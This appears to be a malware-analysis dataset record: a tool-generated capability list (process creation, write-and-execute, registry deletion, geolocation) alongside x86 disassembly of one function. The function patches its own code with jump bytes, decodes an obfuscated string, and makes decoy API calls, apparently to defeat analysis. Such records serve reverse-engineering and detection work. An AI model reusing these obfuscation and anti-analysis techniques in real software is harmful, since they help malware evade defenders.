Function at 0xaac20a
Capabilities:
Accept command line arguments
Clear file content
Compare security identifiers
Connect pipe
Create pipe
Create process on windows
Delete registry value
Enumerate gui resources
Get common file path
Get file attributes
Get geographical location
Get session user name
Get thread local storage value
Query environment variable
Set thread local storage value
Terminate process
Write and execute a file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov dword [ebp - 0x10], 0xaace25
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaac036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xaac20a
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xaac0b8
call fcn.00489c42
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xaac07a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaac094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xaac094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaac04a
mov byte [ebp - 0x7c], 6
mov byte [ebp - 0x7b], 0x6f
mov byte [ebp - 0x7a], 1
mov byte [ebp - 0x79], 0x78
mov byte [ebp - 0x78], 8
mov byte [ebp - 0x77], 0x75
mov byte [ebp - 0x76], 4
mov byte [ebp - 0x75], 0x7e
mov byte [ebp - 0x74], 7
mov byte [ebp - 0x73], 0x6a
mov byte [ebp - 0x72], 9
mov byte [ebp - 0x71], 0x74
mov byte [ebp - 0x70], 2
mov byte [ebp - 0x6f], 0x7b
mov byte [ebp - 0x6e], 0x20
mov byte [ebp - 0x6d], 0x97
mov byte [ebp - 0x6c], 0xa5
mov byte [ebp - 0x6b], 0x2c
mov byte [ebp - 0x6a], 0x74
mov byte [ebp - 0x69], 0x32
mov byte [ebp - 0x68], 0xab
mov byte [ebp - 0x67], 0xd6
mov byte [ebp - 0x66], 0x7f
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x70
mov byte [ebp - 0x63], 0x58
mov byte [ebp - 0x62], 0xc4
mov byte [ebp - 0x61], 0x4a
mov byte [ebp - 0x60], 0xc9
mov byte [ebp - 0x5f], 0xc4
mov byte [ebp - 0x5e], 0x59
mov byte [ebp - 0x5d], 0x3b
mov byte [ebp - 0x5c], 0x29
mov byte [ebp - 0x5b], 0x51
mov byte [ebp - 0x5a], 0xef
mov byte [ebp - 0x59], 4
mov byte [ebp - 0x58], 0x67
mov byte [ebp - 0x57], 9
mov byte [ebp - 0x56], 0xb5
mov byte [ebp - 0x55], 0x2d
mov byte [ebp - 0x54], 0xc1
mov byte [ebp - 0x53], 0xc1
mov byte [ebp - 0x52], 0x79
mov byte [ebp - 0x51], 0x56
mov byte [ebp - 0x50], 0x20
mov byte [ebp - 0x4f], 0x4e
mov byte [ebp - 0x4e], 5
mov byte [ebp - 0x4d], 0x78
mov byte [ebp - 0x4c], 0
mov byte [ebp - 0x4b], 0x83
mov byte [ebp - 0x4a], 3
mov byte [ebp - 0x49], 0x33
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xaac19a
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x34
jae 0xaac1ff
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x7c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaac1c6
mov dword [ebp - 0x24], 0x20
mov eax, dword [ebp - 8]
add eax, 0x1e
mov dword [ebp - 8], eax
jmp 0xaac192
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x7b]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xaac1ee
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xaac1db
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x7c]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xaac192
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xaa124a
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407a91
mov ecx, eax
call fcn.00402e80
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402e24
and dword [ebp - 0x1c], 0
jmp 0xaac242
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xaac252
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xaac23b
push 0x934
call dword [sym.imp.USER32.dll_GetQueueStatus]
push 0xcc9
push 0x159f
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0
push 0x3e
push 0x1969
push 0x42b
call dword [sym.imp.KERNEL32.dll_RaiseException]